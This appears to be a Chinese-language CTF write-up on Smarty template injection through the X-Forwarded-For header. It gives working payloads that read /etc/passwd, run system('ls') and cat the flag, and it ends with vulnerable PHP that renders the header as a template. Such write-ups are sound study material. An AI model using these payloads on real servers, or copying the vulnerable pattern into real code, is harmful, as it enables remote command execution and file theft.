Smarty SSTI
其实是给了提示的,在请求头中加XFF,并且是smarty框架,smarty很经典的考点就是SSTI
XFF
burp抓包改XFF存在回显
然后尝试SSTI
再按照下图方法判断SSTI类型
是Smarty SSTI
Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但是在Smarty3中已经废弃{php}标签。在Smarty 3.1中,{php}仅在SmartyBC中可用。
{php}{/php}
{php}
利用方法:
{self::getStreamVariable("file:///etc/passwd")}在3.1.30版本删除
{self::getStreamVariable("file:///etc/passwd")}
{if phpinfo()}{/if}
{{system('ls')}}
payload:{{system('cat /flag')}}
{{system('cat /flag')}}
smarty SSTI源码
最后更新于3年前
<?php require_once('./smarty/libs/' . 'Smarty.class.php'); $smarty = new Smarty(); $ip = $_SERVER['HTTP_X_FORWARDED_FOR']; $smarty->display("string:".$ip); }